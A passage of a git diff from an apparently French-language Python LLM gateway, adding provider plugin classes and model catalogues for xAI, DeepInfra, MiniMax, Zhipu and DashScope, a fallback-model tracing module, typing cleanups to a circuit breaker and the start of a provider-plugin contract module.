context_input=200000, + context_output=4096, + cost_input_per_m=1.25, + cost_output_per_m=2.5, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Modèle phare xAI avec raisonnement intégré', + ), + ModelSpec( + id='grok-4.20-0309-non-reasoning', + display_name='Grok 4.20 (Non-Reasoning)', + tier='paid', + context_input=200000, + context_output=4096, + cost_input_per_m=1.25, + cost_output_per_m=2.5, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='polyvalent', + recommended_use='Modèle rapide non-raisonnant xAI', + ), + ModelSpec( + id='grok-4.20-0309-reasoning', + display_name='Grok 4.20 (Reasoning)', + tier='paid', + context_input=200000, + context_output=4096, + cost_input_per_m=1.25, + cost_output_per_m=2.5, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Modèle avec raisonnement avancé xAI', + ), + ModelSpec( + id='grok-4.20-multi-agent-0309', + display_name='Grok 4.20 Multi-Agent', + tier='paid', + context_input=200000, + context_output=4096, + cost_input_per_m=1.25, + cost_output_per_m=2.5, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='agents', + recommended_use='Modèle xAI optimisé pour le multi-agent', + ), + ModelSpec( + id='grok-build-0.1', + display_name='Grok Build 0.1', + tier='paid', + context_input=200000, + context_output=4096, + cost_input_per_m=1.0, + cost_output_per_m=2.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='Modèle xAI spécialisé développement et build', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = (credentials.get('XAI_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "XAI_API_KEY absente — provider 'xai' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'xai'.") + return self._build_compat('xai', par_id[modele], cle) + + + +class DeepInfraPlugin(_PluginOpenAICompat): + """Provider DeepInfra API — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='deepinfra', + name='DeepInfra API', + type='pay_as_you_go', + transport='openai_compat', + api_endpoint='https://api.deepinfra.com/v1/openai/chat/completions', + auth=AuthSpec( + kind='api_key', + env_var='DEEPINFRA_API_KEY', + instructions='Clé DeepInfra (prépayé).', + ), + confidentiality='none', + cascade_priority=4.1, + notes='Hébergeur de modèles open-weights à bas coût. Llama 3.3, Qwen 2.5 et DeepSeek R1. Curation étape 2 : Les 3 modèles du seed, tous câblés. Les ids du catalogue ne correspondaient à AUCUN nom réel chez DeepInfra (constat #T243) — api_model_id porte les vrais noms, recopiés du gateway.', + models=( + ModelSpec( + id='deepinfra/deepseek-r1', + api_model_id='deepseek-ai/DeepSeek-R1', + display_name='DeepSeek R1 671B (DeepInfra)', + tier='paid', + context_input=163840, + context_output=8192, + cost_input_per_m=0.55, + cost_output_per_m=2.19, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Routage alternatif Tier Fort — raisonnement profond avec balises thinking', + ), + ModelSpec( + id='deepinfra/llama-3.3-70b-instruct', + api_model_id='meta-llama/Llama-3.3-70B-Instruct', + display_name='Llama 3.3 70B Instruct (DeepInfra)', + tier='paid', + context_input=131072, + context_output=4096, + cost_input_per_m=0.23, + cost_output_per_m=0.23, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Routage alternatif Tier Moyen/Fort — excellent rapport qualité/prix', + ), + ModelSpec( + id='deepinfra/qwen-2.5-72b-instruct', + api_model_id='Qwen/Qwen2.5-72B-Instruct', + display_name='Qwen 2.5 72B Instruct (DeepInfra)', + tier='paid', + context_input=131072, + context_output=4096, + cost_input_per_m=0.35, + cost_output_per_m=0.35, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='Routage alternatif Tier Moyen/Fort — excellent pour le code et le français', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = (credentials.get('DEEPINFRA_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "DEEPINFRA_API_KEY absente — provider 'deepinfra' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'deepinfra'.") + return self._build_compat('deepinfra', par_id[modele], cle) + + + +class MiniMaxPlugin(_PluginOpenAICompat): + """Provider MiniMax API — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='minimax', + name='MiniMax API', + type='pay_as_you_go', + transport='openai_compat', + api_endpoint='https://api.minimax.chat/v1/text/chatcompletions', + auth=AuthSpec( + kind='api_key', + env_var='MINIMAX_API_KEY', + instructions='Clé MiniMax (endpoint international api.minimax.io).', + ), + confidentiality='none', + cascade_priority=4.5, + notes="Modèle d'écriture et de dialogue, performant en multilingue. Curation étape 2 : Les 4 modèles du seed (le M3 y est en minuscule — le vrai nom API est MiniMax-M3, api_model_id le porte) + 4 modèles câblés dans le gateway et présents au catalogue local mais absents du seed : M2.7 (20 appels, le plus consommé de la famille), M2.7-highspeed, M2.5, M2.1. Le doublon catalogue local MiniMax-M3 (majuscule, 0 appel) n'est pas reconduit.", + models=( + ModelSpec( + id='minimax-m3', + api_model_id='MiniMax-M3', + display_name='MiniMax M3', + tier='paid', + routing_tier='fort', + context_input=64000, + context_output=4096, + cost_input_per_m=1.2, + cost_output_per_m=1.2, + supports_tools=True, + speciality='polyvalent', + recommended_use="Modèle d'écriture créative et multilingue", + ), + ModelSpec( + id='MiniMax-M2', + display_name='MiniMax M2', + tier='paid', + routing_tier='leger', + context_input=64000, + context_output=4096, + cost_input_per_m=0.15, + cost_output_per_m=0.6, + supports_tools=True, + speciality='polyvalent', + recommended_use='Tier léger, câblé dans core/llm_gateway.py mais absent du catalogue avant migration routing_tier (07/07/2026)', + ), + ModelSpec( + id='MiniMax-M2.1-highspeed', + display_name='MiniMax M2.1 (Highspeed)', + tier='paid', + routing_tier='leger', + context_input=64000, + context_output=4096, + cost_input_per_m=0.3, + cost_output_per_m=1.2, + supports_tools=True, + speciality='polyvalent_rapide', + recommended_use='Tier léger rapide, câblé dans core/llm_gateway.py mais absent du catalogue avant migration routing_tier (07/07/2026)', + ), + ModelSpec( + id='MiniMax-M2.5-highspeed', + display_name='MiniMax M2.5 (Highspeed)', + tier='paid', + routing_tier='moyen', + context_input=64000, + context_output=4096, + cost_input_per_m=0.3, + cost_output_per_m=1.2, + supports_tools=True, + speciality='polyvalent_rapide', + recommended_use='Tier moyen rapide, câblé dans core/llm_gateway.py mais absent du catalogue avant migration routing_tier (07/07/2026)', + ), + ModelSpec( + id='MiniMax-M2.7', + display_name='MiniMax M2.7', + tier='fort', + routing_tier='fort', + context_input=204800, + context_output=16384, + cost_input_per_m=0.3, + cost_output_per_m=1.2, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='polyvalent', + recommended_use='Nouveau flagship MiniMax avec contexte 1M tokens', + notes='MiniMax — 204K contexte, agentic+coding. $0.30/$1.20/M. Successeur M2.5', + ), + ModelSpec( + id='MiniMax-M2.7-highspeed', + display_name='MiniMax M2.7 Highspeed', + tier='moyen', + context_input=204800, + context_output=16384, + cost_input_per_m=0.6, + cost_output_per_m=2.4, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='agents_rapides', + recommended_use='Version rapide de M2.7 pour agents temps réel', + notes='MiniMax Highspeed — 2x plus rapide, 2x plus cher. $0.60/$2.40/M. Agents temps réel', + ), + ModelSpec( + id='MiniMax-M2.5', + display_name='MiniMax M2.5', + tier='moyen', + context_input=204800, + context_output=16384, + cost_input_per_m=0.15, + cost_output_per_m=1.2, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='polyvalent', + recommended_use='Version stable précédente MiniMax', + notes='MiniMax — Modèle stable précédent, $0.15/$1.20/M. Bon rapport qualité/coût', + ), + ModelSpec( + id='MiniMax-M2.1', + display_name='MiniMax M2.1', + tier='paid', + routing_tier='leger', + context_input=204800, + context_output=32768, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='agents_rapides', + recommended_use='Modèle léger applicatif (déc 2025)', + notes='Câblé dans le gateway (llm_gateway.py, gamme validée en direct 2026-06-16) mais absent du catalogue — déclaré pour alignement.', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = (credentials.get('MINIMAX_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "MINIMAX_API_KEY absente — provider 'minimax' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'minimax'.") + return self._build_compat('minimax', par_id[modele], cle) + + + +class ZhipuPlugin(_PluginOpenAICompat): + """Provider Zhipu AI (Z.ai) — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='zhipu', + name='Zhipu AI (Z.ai)', + type='pay_as_you_go', + transport='openai_compat', + api_endpoint='https://open.bigmodel.cn/api/paas/v4/chat/completions', + auth=AuthSpec( + kind='api_key', + env_var='ZHIPU_API_KEY', + instructions='Clé Zhipu AI (Z.ai).', + ), + confidentiality='training', + cascade_priority=3.7, + notes='Famille GLM — excellent en code/agentique et en chinois. ZHIPU_API_KEY active. Curation étape 2 : Les 8 modèles du seed, tous câblés. glm-5.2 = 20 appels, glm-5-turbo = 15 — les seuls réellement consommés ; le reste est conservé car câblé (replis de cascade).', + models=( + ModelSpec( + id='glm-5.2', + display_name='GLM-5.2 (Flagship)', + tier='fort', + context_input=1000000, + context_output=8192, + cost_input_per_m=1.1, + cost_output_per_m=3.86, + supports_tools=True, + speciality='code', + recommended_use='Modèle flagship MoE de 744B paramètres, optimisé pour les longs contextes et le codage.', + notes='Contexte de 1M tokens, licence MIT open-source, excellentes performances en agentique complexe.', + ), + ModelSpec( + id='glm-5.1', + display_name='GLM-5.1', + tier='fort', + context_input=200000, + context_output=8192, + cost_input_per_m=1.0, + cost_output_per_m=3.2, + supports_tools=True, + speciality='code', + recommended_use='Version intermédiaire entre GLM-5 et GLM-5.2 — alternative si budget serré vs 5.2', + notes='⚠️ Prix à vérifier — sources divergentes au 03/07/2026 ($0.95-1.40 input / $3.15-4.40 output).', + ), + ModelSpec( + id='glm-5', + display_name='GLM-5', + tier='fort', + context_input=200000, + context_output=8192, + cost_input_per_m=1.0, + cost_output_per_m=3.2, + supports_tools=True, + speciality='code', + recommended_use='Première génération de la série 5 — base agentique avancée', + notes='Dépassé par glm-5.1/glm-5.2. Prix à confirmer (sources divergentes au 03/07/2026: $1.00-1.40 input).', + ), + ModelSpec( + id='glm-5-turbo', + display_name='GLM-5 Turbo', + tier='moyen', + context_input=1000000, + context_output=8192, + cost_input_per_m=0.96, + cost_output_per_m=3.58, + supports_tools=True, + speciality='code', + recommended_use='Modèle optimisé en vitesse et fluidité pour les agents autonomes multi-étapes.', + notes='Rapport coût/performance imbattable, latence minimale, haute cadence.', + ), + ModelSpec( + id='glm-4.7', + display_name='GLM-4.7', + tier='moyen', + context_input=200000, + context_output=4096, + cost_input_per_m=0.55, + cost_output_per_m=2.2, + supports_tools=True, + speciality='code', + recommended_use='Modèle équilibré et économique, robuste pour le code et les résumés longs.', + notes='Très abordable, grand historique de stabilité.', + ), + ModelSpec( + id='glm-4.6', + display_name='GLM-4.6', + tier='moyen', + context_input=200000, + context_output=4096, + cost_input_per_m=0.55, + cost_output_per_m=2.2, + supports_tools=True, + speciality='code', + recommended_use='Alternative mature à GLM-4.7 — contexte étendu vs 4.5', + ), + ModelSpec( + id='glm-4.5', + display_name='GLM-4.5', + tier='moyen', + context_input=128000, + context_output=4096, + cost_input_per_m=0.28, + cost_output_per_m=1.1, + supports_tools=True, + speciality='code', + recommended_use='Ancienne version stable des modèles GLM 4.5.', + notes='Idéal comme base économique pour des tâches simples.', + ), + ModelSpec( + id='glm-4.5-air', + display_name='GLM-4.5 Air', + tier='leger', + context_input=128000, + context_output=4096, + cost_input_per_m=0.2, + cost_output_per_m=1.1, + supports_tools=True, + speciality='agents_lowcost', + recommended_use='Le moins cher de la gamme GLM — volumes élevés, tâches simples', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = (credentials.get('ZHIPU_API_KEY') or '').strip() + if not cle: + raise CredentialsManquantes( + "ZHIPU_API_KEY absente — provider 'zhipu' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'zhipu'.") + return self._build_compat('zhipu', par_id[modele], cle) + + + +class DashScopePlugin(_PluginOpenAICompat): + """Provider Alibaba DashScope Coding Plan — étape 2 (#T231).""" + + _DESCRIPTEUR = ProviderDescriptor( + id='dashscope', + name='Alibaba DashScope Coding Plan', + type='subscription', + transport='openai_compat', + api_endpoint='https://coding-intl.dashscope.aliyuncs.com/v1/chat/completions', + auth=AuthSpec( + kind='api_key', + env_var='DASHSCOPE_API_KEY', + instructions='Clé Coding Plan sk-sp-* ; alias BAILIAN_CODING_PLAN_API_KEY accepté, endpoint surchargable via DASHSCOPE_BASE_URL.', + ), + confidentiality='training', + cascade_priority=2.5, + notes="Coding Plan Lite (¥40/mois, stock) — clé sk-sp-*, endpoint coding-intl. Quota requêtes (pas tokens) : 1200/5h, 9000/sem, 18000/mois. CGU : usage prévu pour outils coding interactifs (pas backend automatisé). Curation étape 2 : L'allowlist exacte renvoyée par GET /v1/models le 26/07, tous câblés. ⚠️ CGU Alibaba : forfait prévu pour outils coding interactifs, usage backend automatisé hors périmètre officiel. C'est ce descripteur qui résout #T242 : la clé étant sur le Deck (#T244), l'enregistrement par plugin fait enfin arriver dashscope dans le catalogue de prod.", + models=( + ModelSpec( + id='dashscope/qwen3.7-plus', + api_model_id='qwen3.7-plus', + display_name='Qwen3.7 Plus (Coding Plan)', + tier='subscription', + routing_tier='fort', + context_input=1000000, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='Flagship Qwen Coding Plan — vision + thinking, contexte 1M', + notes='Lite amorti (~¥40/mois). ID API exact: qwen3.7-plus', + ), + ModelSpec( + id='dashscope/qwen3.6-plus', + api_model_id='qwen3.6-plus', + display_name='Qwen3.6 Plus (Coding Plan)', + tier='subscription', + routing_tier='fort', + context_input=1000000, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='Qwen Coding Plan — vision + thinking', + notes='ID API exact: qwen3.6-plus', + ), + ModelSpec( + id='dashscope/qwen3.5-plus', + api_model_id='qwen3.5-plus', + display_name='Qwen3.5 Plus (Coding Plan)', + tier='subscription', + routing_tier='moyen', + context_input=1000000, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='Qwen Coding Plan polyvalent — vision', + notes='ID API exact: qwen3.5-plus', + ), + ModelSpec( + id='dashscope/qwen3-max-2026-01-23', + api_model_id='qwen3-max-2026-01-23', + display_name='Qwen3 Max 2026-01-23 (Coding Plan)', + tier='subscription', + routing_tier='fort', + context_input=262144, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='raisonnement', + recommended_use='Qwen Max snapshot Coding Plan', + notes='ID API exact: qwen3-max-2026-01-23', + ), + ModelSpec( + id='dashscope/qwen3-coder-next', + api_model_id='qwen3-coder-next', + display_name='Qwen3 Coder Next (Coding Plan)', + tier='subscription', + routing_tier='moyen', + context_input=262144, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='Défaut moteur Coding Plan — génération de code (pas de thinking)', + notes='Thinking non supporté. ID API exact: qwen3-coder-next', + ), + ModelSpec( + id='dashscope/qwen3-coder-plus', + api_model_id='qwen3-coder-plus', + display_name='Qwen3 Coder Plus (Coding Plan)', + tier='subscription', + routing_tier='fort', + context_input=1000000, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='Code + contexte 1M (pas de thinking)', + notes='Thinking non supporté. ID API exact: qwen3-coder-plus', + ), + ModelSpec( + id='dashscope/kimi-k2.5', + api_model_id='kimi-k2.5', + display_name='Kimi K2.5 (Coding Plan)', + tier='subscription', + routing_tier='fort', + context_input=262144, + context_output=65536, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_vision=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='Moonshot Kimi via Coding Plan — vision + agentique', + notes='ID API exact: kimi-k2.5', + ), + ModelSpec( + id='dashscope/glm-5', + api_model_id='glm-5', + display_name='GLM-5 (Coding Plan)', + tier='subscription', + routing_tier='fort', + context_input=202752, + context_output=32768, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='GLM-5 via forfait Alibaba (distinct de Zhipu payant)', + notes='ID API exact: glm-5 — ne pas confondre avec provider zhipu', + ), + ModelSpec( + id='dashscope/glm-4.7', + api_model_id='glm-4.7', + display_name='GLM-4.7 (Coding Plan)', + tier='subscription', + routing_tier='moyen', + context_input=202752, + context_output=32768, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='code', + recommended_use='GLM-4.7 via forfait Alibaba', + notes='ID API exact: glm-4.7', + ), + ModelSpec( + id='dashscope/MiniMax-M2.5', + api_model_id='MiniMax-M2.5', + display_name='MiniMax M2.5 (Coding Plan)', + tier='subscription', + routing_tier='moyen', + context_input=196608, + context_output=32768, + cost_input_per_m=0.0, + cost_output_per_m=0.0, + supports_tools=True, + supports_json_mode=True, + supports_streaming=True, + speciality='polyvalent', + recommended_use='MiniMax via Coding Plan (distinct de MINIMAX_API_KEY)', + notes='ID API exact: MiniMax-M2.5 (casse significative)', + ), + ), + ) + + @property + def descriptor(self) -> ProviderDescriptor: + return self._DESCRIPTEUR + + def build(self, credentials, model=None): + cle = ((credentials.get('DASHSCOPE_API_KEY') + or credentials.get('BAILIAN_CODING_PLAN_API_KEY')) or '').strip() + if not cle: + raise CredentialsManquantes( + "DASHSCOPE_API_KEY absente — provider 'dashscope' non construit.") + par_id = {m.id: m for m in self.descriptor.models} + modele = model or self.descriptor.models[0].id + if modele not in par_id: + raise CredentialsManquantes(f"Modèle '{modele}' non déclaré par 'dashscope'.") + return self._build_compat('dashscope', par_id[modele], cle) + + + +# Plugins internes convertis au contrat. `cloud_apis` reste volontairement hors +# plugins (APIs spécialisées sans transport chat) ; `anthropic_gcp`/`flux` +# ne sont pas dans le seed (voir docstring), `github` a été retiré (#T280). +# L'enregistrement de cette liste au démarrage est upsert seul : rien n'est +# retiré du catalogue existant. +BUILTIN_PROVIDER_PLUGINS: tuple[ProviderPlugin, ...] = ( + MistralPlugin(), + LMStudioLocalPlugin(), + OllamaLocalPlugin(), + GeminiFreePlugin(), + GeminiPaidPlugin(), + GeminiCLIPluginInterne(), + ClaudeCLIPluginInterne(), + AnthropicNativePlugin(), + DeepSeekPlugin(), + CoherePlugin(), + CerebrasPlugin(), + OpenRouterPlugin(), + XAIPlugin(), + DeepInfraPlugin(), + MiniMaxPlugin(), + ZhipuPlugin(), + DashScopePlugin(), +) diff --git a/core/llm/circuit_breaker.py b/core/llm/circuit_breaker.py index dc2e160..a3ca6f4 100644 --- a/core/llm/circuit_breaker.py +++ b/core/llm/circuit_breaker.py @@ -9,11 +9,12 @@ Date : 2026-06-16 """ +import logging import threading import time -import logging -from typing import Callable, Any, Dict +from collections.abc import Callable from enum import Enum +from typing import Any logger = logging.getLogger(__name__) @@ -38,7 +39,7 @@ class CircuitBreaker: # _registry_lock) sont ceux attendus par core/llm_gateway.get_circuit_breakers_status(). # _registry_lock est un verrou SYNCHRONE (threading.Lock) car il est utilisé dans des # contextes `with` synchrones (et get_or_create est appelé depuis du code synchrone). - _registry: Dict[str, "CircuitBreaker"] = {} + _registry: dict[str, "CircuitBreaker"] = {} _registry_lock = threading.Lock() # Alias rétro-compatibles (anciens noms internes V12). _instances = _registry @@ -171,7 +172,7 @@ async def call(self, func: Callable[..., Any], *args, **kwargs) -> Any: self.record_failure(e) raise e - def get_stats(self) -> Dict[str, Any]: + def get_stats(self) -> dict[str, Any]: """Retourne les métriques de santé du disjoncteur.""" return { "name": self.name, @@ -188,6 +189,6 @@ def get_stats(self) -> Dict[str, Any]: "last_latency_ms": round(self.last_latency_ms, 1) if self.last_latency_ms is not None else None, } - def to_dict(self) -> Dict[str, Any]: + def to_dict(self) -> dict[str, Any]: """Alias attendu par llm_gateway.get_circuit_breakers_status().""" return self.get_stats() diff --git a/core/llm/fallback_trace.py b/core/llm/fallback_trace.py new file mode 100644 index 0000000..40e5a22 --- /dev/null +++ b/core/llm/fallback_trace.py @@ -0,0 +1,43 @@ +""" +core/llm/fallback_trace.py — Traçabilité du modèle qui a réellement répondu (#T288). + +FallbackProvider choisit le modèle au moment de l'appel (parcours des candidats +jusqu'au premier qui aboutit). Aucun appelant ne pouvait savoir lequel avait +répondu : seul l'identifiant du TIER (« tier-moyen ») remontait, et +l'information réelle n'existait que dans les journaux, en texte libre — +impossible d'attribuer un résultat, une latence ou un coût à un modèle précis. + +Mécanisme : une ContextVar (bibliothèque standard, aucune dépendance), isolée +par tâche asyncio et par thread : + - FallbackProvider la renseigne au moment où il rend la réponse d'un candidat + (le `return res`, seul point où l'on sait quel modèle a gagné) ; + - l'appelant la lit immédiatement après son appel, dans le même contexte. + +Pourquoi c'est sûr en concurrence : chaque asyncio.Task démarre avec une copie +du contexte courant (asyncio exécute la coroutine dans le contexte capturé à +la création de la tâche). Un `set()` dans une tâche n'affecte que la copie de +cette tâche — vérifié expérimentalement (deux tâches concurrentes lisent +chacune leur valeur, la tâche mère reste à None). Le DAG lance chaque nœud dans +sa propre Task (core/dag_runner.py, asyncio.create_task) et les agents appellent +generate_async() directement dans cette tâche : l'appelant B ne peut donc pas +lire le modèle de l'appelant A, même sur un FallbackProvider partagé. + +Valeur None = aucun modèle n'a répondu : appel servi par le cache sémantique, +ou appel en échec (la trace est réinitialisée en tête de chaque appel). +""" + +from contextvars import ContextVar + +_MODELE_REPONDU: ContextVar[str | None] = ContextVar( + "fallback_modele_repondu", default=None +) + + +def marquer_modele_repondu(modele: str | None) -> None: + """[T288] Enregistre le modèle qui a répondu à l'appel courant (None = aucun).""" + _MODELE_REPONDU.set(modele) + + +def lire_modele_repondu() -> str | None: + """[T288] Modèle qui a répondu au dernier appel LLM de la tâche courante, None sinon.""" + return _MODELE_REPONDU.get() diff --git a/core/llm/provider_plugin.py b/core/llm/provider_plugin.py new file mode 100644 index 0000000..e01defb --- /dev/null +++ b/core/llm/provider_plugin.py @@ -0,0 +1,248 @@ +""" +core/llm/provider_plugin.py — Contrat d'extension pour les providers LLM (#T231, étape 1). + +Problème résolu (cf. docs/design_provider_plugin_contract.md) : un provider existe +aujourd'hui à deux endroits sans lien — le catalogue (`core/models_db.py`, peuplé par +`seed_models_db.py`) et le gateway (objet Python instancié dans `core/llm_gateway.py`). +Rien ne garantit qu'ils coïncident, au point qu'on affiche la divergence dans l'IHM +(badge « non câblé », `api/routes/context.py:218`). + +Un plugin réunit les deux : un descripteur déclaratif ET la fabrique du transport. +L'invariant qui supprime la divergence est porté par `register_provider_plugins()` +(`core/llm/provider_registration.py`) : on n'écrit au catalogue QUE ce dont le +transport a pu être construit. + +Ce module ne fait qu'ajouter un point d'extension : il ne modifie ni le gateway, ni le +seed, ni la logique d'arbitrage (Elo, cascade, budget_guard, provider_scorer restent +strictement hors périmètre, cf. §2 du design). + +Deux écarts assumés vis-à-vis de l'esquisse de conception, motivés par le code réel : + +1. `type` NE PEUT PAS porter le type de transport. L'esquisse proposait + `type: "openai_compat" | "native" | ...`, mais la colonne `providers.type` porte + déjà un autre vocabulaire — le canal commercial — et il est *lu par une requête* : + `core/models_db.py:1121` fait `WHERE type IN ('pay_as_you_go', 'free')`. Écrire + "openai_compat" ferait purement et simplement disparaître le provider de cette + requête. `type` conserve donc la valeur du catalogue, et le type de transport vit + dans un champ distinct, `transport`. + +2. `build()` ne peut pas promettre une sous-classe de `LLMProvider` : + `OpenAICompatibleProvider` (`core/openai_compat_provider.py:149`) n'hérite de rien + et fonctionne par duck-typing — c'est déjà ainsi que le gateway le range dans son + `dict[str, LLMProvider]`. On vérifie donc la *forme* (méthodes présentes) et non + l'ascendance, via `verifier_interface_transport()`. +""" + +from __future__ import annotations + +from abc import ABC, abstractmethod +from dataclasses import dataclass, field +from typing import Any, Literal + +# Méthodes que tout transport doit exposer pour être utilisable par le gateway et les +# agents. `generate_async`/`generate_structured_async` sont fournies par défaut par +# `LLMProvider` (base.py:69) et surchargées par les providers à I/O réseau ; un +# transport qui ne les aurait pas casserait le hot-path async migré en D5. +METHODES_TRANSPORT_REQUISES = ( + "generate", + "generate_structured", + "generate_async", + "generate_structured_async", +) + +AuthKind = Literal["api_key", "oauth", "device", "cli", "none"] + + +class ProviderPluginError(Exception): + """Erreur générique de plugin provider.""" + + +class CredentialsManquantes(ProviderPluginError): + """Les identifiants nécessaires à `build()` sont absents ou vides. + + Volontairement distincte d'une erreur de transport : c'est le cas *normal* d'un + provider non configuré sur cette machine, que l'enregistrement doit écarter en + silence explicite (log) plutôt que de faire échouer tout le démarrage. + """ + + +class TransportInvalide(ProviderPluginError): + """`build()` a rendu un objet qui n'expose pas l'interface attendue.""" + + +def verifier_interface_transport(transport: Any) -> None: + """Vérifie par duck-typing qu'un transport est utilisable par le gateway. + + On ne teste pas `isinstance(..., LLMProvider)` : `OpenAICompatibleProvider` + n'hérite d'aucune base et représente à lui seul 9 des providers actuels. + """ + manquantes = [ + nom for nom in METHODES_TRANSPORT_REQUISES if not callable(getattr(transport, nom, None)) + ] + if manquantes: + raise TransportInvalide( + f"{type(transport).__name__} n'expose pas : {', '.join(manquantes)}. " + "Un transport doit fournir l'interface de core/llm/providers/base.py." + ) + + +@dataclass(frozen=True) +class AuthSpec: + """Décrit COMMENT s'authentifier — et comment l'IHM doit le demander. + + C'est ce champ qui permettra à l'écran « ajouter un provider » d'être générique : + le frontend rendra ce que le plugin déclare, sans connaître aucun provider en dur. + """ + + kind: AuthKind + env_var: str | None = None # ex. "MISTRAL_API_KEY" (kind="api_key") + instructions: str = "" # affiché tel quel dans l'IHM + connect_label: str = "Connecter" + doc_url: str | None = None + + +@dataclass(frozen=True) +class ModelSpec: + """Un modèle exposé par le provider. Les noms de champs suivent les colonnes de + la table `models` (`core/models_db.py:105`) pour que l'enregistrement reste un + INSERT mécanique, sans couche de traduction. + + `tier` = canal d'accès (free/paid/subscription/pro/local) ; + `routing_tier` = capacité pour le routeur (leger/moyen/fort, None = hors routage). + Les deux sont distincts et le restent (cf. commentaire de `models_db.py:140`). + + `api_model_id` = nom EXACT attendu par l'API, quand il diffère de l'identifiant du + catalogue. Le catalogue utilise parfois un alias pour désambiguïser : `id` doit être + unique sur toute la table `models`, alors que deux providers peuvent servir le même + nom de modèle. Constaté le 10/08 en interrogeant les API en direct : le catalogue + porte `gemma-4-31b-cerebras` (parce que `gemma-4-31b` désignait déjà le modèle local + LM Studio) et l'appel avec cet identifiant renvoie **HTTP 404** chez Cerebras, le + vrai nom étant `gemma-4-31b`. Sans ce champ, l'alias part tel quel dans la requête. + `None` = l'identifiant du catalogue est aussi celui de l'API (cas majoritaire). + """ + + id: str + api_model_id: str | None = None + display_name: str = "" + tier: str = "paid" + routing_tier: str | None = None + context_input: int | None = None + context_output: int | None = None + cost_input_per_m: float | None = None + cost_output_per_m: float | None = None + supports_tools: bool = False + supports_vision: bool = False + supports_json_mode: bool = False + supports_streaming: bool = False + speciality: str | None = None + recommended_use: str | None = None + notes: str = "" + + @property + def nom_api(self) -> str: + """Nom à envoyer réellement à l'API (alias résolu).""" + return self.api_model_id or self.id + + def en_colonnes(self, provider_id: str) -> dict[str, Any]: + """Projette le spec sur les colonnes de `models` (pour `upsert_model`).""" + return { + "provider_id": provider_id, + "display_name": self.display_name or self.id, + # [#T254] `status` n'est volontairement PAS projeté : le poser à + # 'active' à chaque enregistrement réactiverait, à chaque démarrage + # du moteur, tout modèle désactivé depuis l'IHM (#T243) — l'interrupteur + # serait sans effet durable. À la création, le défaut SQL vaut 'active'. + "tier": self.tier, + "routing_tier": self.routing_tier, + "context_input": self.context_input, + "context_output": self.context_output, + "cost_input_per_m": self.cost_input_per_m, + "cost_output_per_m": self.cost_output_per_m, + "supports_tools": int(self.supports_tools), + "supports_vision": int(self.supports_vision), + "supports_json_mode": int(self.supports_json_mode), + "supports_streaming": int(self.supports_streaming), + "speciality": self.speciality, + "recommended_use": self.recommended_use, + "notes": self.notes, + } + + +@dataclass(frozen=True) +class ProviderDescriptor: + """Carte d'identité déclarative d'un provider. + + Alimente directement la table `providers` (`core/models_db.py:91`). + + 